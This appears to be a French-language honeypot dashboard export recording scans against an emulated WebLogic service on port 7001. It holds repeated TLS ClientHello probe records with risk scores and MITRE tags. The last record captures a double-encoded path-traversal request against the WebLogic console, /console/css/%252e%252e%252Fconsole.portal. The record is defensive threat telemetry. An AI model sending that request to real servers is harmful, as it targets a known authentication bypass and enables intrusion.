weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
�Tp���B6��ܦ� p�ȍ�BԴ�/��2�<!Ḡ z��_��sl��7�b�,`����x�6��2�^�� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
�Tp���B6��ܦ�
p�ȍ�BԴ�/��2�<!Ḡ z��_��sl��7�b�,`����x�6��2�^�� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
�Tp���B6��ܦ� p�ȍ�BԴ�/��2�<!Ḡ z��_��sl��7�b�,`����x�6��2�^�� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.980568990880254,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "119da8186b529dd1475e9ad41e62b887",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003Tp\ufffd\ufffd\ufffdB6\ufffd\ufffd\u0726\ufffd\np\ufffd\u020d\ufffdB\u0534\ufffd\/\ufffd\ufffd2\ufffd<!\u1e20 z\ufffd\ufffd_\ufffd\ufffdsl\ufffd\u0003\ufffd7\ufffdb\ufffd,`\ufffd\ufffd\ufffd\ufffdx\ufffd6\ufffd\ufffd2\ufffd^\ufffd\ufffd\u000b\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003Tp\ufffd\ufffd\ufffdB6\ufffd\ufffd\u0726\ufffd\np\ufffd\u020d\ufffdB\u0534\ufffd\/\ufffd\ufffd2\ufffd<!\u1e20 z\ufffd\ufffd_\ufffd\ufffdsl\ufffd\u0003\ufffd7\ufffdb\ufffd,`\ufffd\ufffd\ufffd\ufffdx\ufffd6\ufffd\ufffd2\ufffd^\ufffd\ufffd\u000b\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003Tp\ufffd\ufffd\ufffdB6\ufffd\ufffd\u0726\ufffd\np\ufffd\u020d\ufffdB\u0534\ufffd\/\ufffd\ufffd2\ufffd<!\u1e20 z\ufffd\ufffd_\ufffd\ufffdsl\ufffd\u0003\ufffd7\ufffdb\ufffd,`\ufffd\ufffd\ufffd\ufffdx\ufffd6\ufffd\ufffd2\ufffd^\ufffd\ufffd\u000b\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7642c3633bb02196d56df0b0e146f85a148f6c5d",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003Tp\ufffd\ufffd\ufffdB6\ufffd\ufffd\u0726\ufffd\np\ufffd\u020d\ufffdB\u0534\ufffd\/\ufffd\ufffd2\ufffd<!\u1e20 z\ufffd\ufffd_\ufffd\ufffdsl\ufffd\u0003\ufffd7\ufffdb\ufffd,`\ufffd\ufffd\ufffd\ufffdx\ufffd6\ufffd\ufffd2\ufffd^\ufffd\ufffd\u000b\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffdTp\ufffd\ufffd\ufffdB6\ufffd\ufffd\u0726\ufffd\np\ufffd\u020d\ufffdB\u0534\ufffd\/\ufffd\ufffd2\ufffd<!\u1e20 z\ufffd\ufffd_\ufffd\ufffdsl\ufffd\ufffd7\ufffdb\ufffd,`\ufffd\ufffd\ufffd\ufffdx\ufffd6\ufffd\ufffd2\ufffd^\ufffd\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003Tp\ufffd\ufffd\ufffdB6\ufffd\ufffd\u0726\ufffd\np\ufffd\u020d\ufffdB\u0534\ufffd\/\ufffd\ufffd2\ufffd<!\u1e20 z\ufffd\ufffd_\ufffd\ufffdsl\ufffd\u0003\ufffd7\ufffdb\ufffd,`\ufffd\ufffd\ufffd\ufffdx\ufffd6\ufffd\ufffd2\ufffd^\ufffd\ufffd\u000b\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffdTp\ufffd\ufffd\ufffdB6\ufffd\ufffd\u0726\ufffd\np\ufffd\u020d\ufffdB\u0534\ufffd\/\ufffd\ufffd2\ufffd<!\u1e20 z\ufffd\ufffd_\ufffd\ufffdsl\ufffd\ufffd7\ufffdb\ufffd,`\ufffd\ufffd\ufffd\ufffdx\ufffd6\ufffd\ufffd2\ufffd^\ufffd\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:39:12 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
��@}��@�{j�H��� ���EL+������ ��9R�O�M ��өж��5��� qk7��5u� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
��@}��@�{j�H��� ���EL+������ ��9R�O�M ��өж��5��� qk7��5u� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
��@}��@�{j�H��� ���EL+������ ��9R�O�M ��өж��5��� qk7��5u� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.90226228120086,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "8d86ec337a62c47b09905b7a971de9fe",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd@\u000f}\ufffd\ufffd@\ufffd{j\ufffdH\ufffd\ufffd\ufffd\f\ufffd\ufffd\ufffdEL+\u0005\ufffd\ufffd\ufffd\ufffd\b\u0013\ufffd\ufffd \ufffd\ufffd9R\ufffdO\ufffdM\u001d\ufffd\ufffd\u04e9\u0436\ufffd\ufffd5\ufffd\ufffd\ufffd\u0000q\u000ek7\ufffd\ufffd\u00035u\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd@\u000f}\ufffd\ufffd@\ufffd{j\ufffdH\ufffd\ufffd\ufffd\f\ufffd\ufffd\ufffdEL+\u0005\ufffd\ufffd\ufffd\ufffd\b\u0013\ufffd\ufffd \ufffd\ufffd9R\ufffdO\ufffdM\u001d\ufffd\ufffd\u04e9\u0436\ufffd\ufffd5\ufffd\ufffd\ufffd\u0000q\u000ek7\ufffd\ufffd\u00035u\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd@\u000f}\ufffd\ufffd@\ufffd{j\ufffdH\ufffd\ufffd\ufffd\f\ufffd\ufffd\ufffdEL+\u0005\ufffd\ufffd\ufffd\ufffd\b\u0013\ufffd\ufffd \ufffd\ufffd9R\ufffdO\ufffdM\u001d\ufffd\ufffd\u04e9\u0436\ufffd\ufffd5\ufffd\ufffd\ufffd\u0000q\u000ek7\ufffd\ufffd\u00035u\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "aa6ef48dcdbf59e6cb65e737e42a4d1eb2bfcaca",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd@\u000f}\ufffd\ufffd@\ufffd{j\ufffdH\ufffd\ufffd\ufffd\f\ufffd\ufffd\ufffdEL+\u0005\ufffd\ufffd\ufffd\ufffd\b\u0013\ufffd\ufffd \ufffd\ufffd9R\ufffdO\ufffdM\u001d\ufffd\ufffd\u04e9\u0436\ufffd\ufffd5\ufffd\ufffd\ufffd\u0000q\u000ek7\ufffd\ufffd\u00035u\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffd\ufffd@}\ufffd\ufffd@\ufffd{j\ufffdH\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdEL+\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd \ufffd\ufffd9R\ufffdO\ufffdM\ufffd\ufffd\u04e9\u0436\ufffd\ufffd5\ufffd\ufffd\ufffdqk7\ufffd\ufffd5u\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd@\u000f}\ufffd\ufffd@\ufffd{j\ufffdH\ufffd\ufffd\ufffd\f\ufffd\ufffd\ufffdEL+\u0005\ufffd\ufffd\ufffd\ufffd\b\u0013\ufffd\ufffd \ufffd\ufffd9R\ufffdO\ufffdM\u001d\ufffd\ufffd\u04e9\u0436\ufffd\ufffd5\ufffd\ufffd\ufffd\u0000q\u000ek7\ufffd\ufffd\u00035u\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffd@}\ufffd\ufffd@\ufffd{j\ufffdH\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdEL+\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd \ufffd\ufffd9R\ufffdO\ufffdM\ufffd\ufffd\u04e9\u0436\ufffd\ufffd5\ufffd\ufffd\ufffdqk7\ufffd\ufffd5u\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:39:12 UTC
TCP
7001 · HTTP
Traversal LFI
lfi path traversal · via HTTP:7001 · (tentative d'exploit) · → /console/css/%252e%252e%252Fconsole.portal
Élevée
Élevé · 66
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
T1083
TA0001
TA0002
Protocole
GET /console/css/%252e%252e%252Fconsole.portal UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/201001…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950260:lfi-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/console/css/%252e%252e%252Fconsole.portal
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
7001
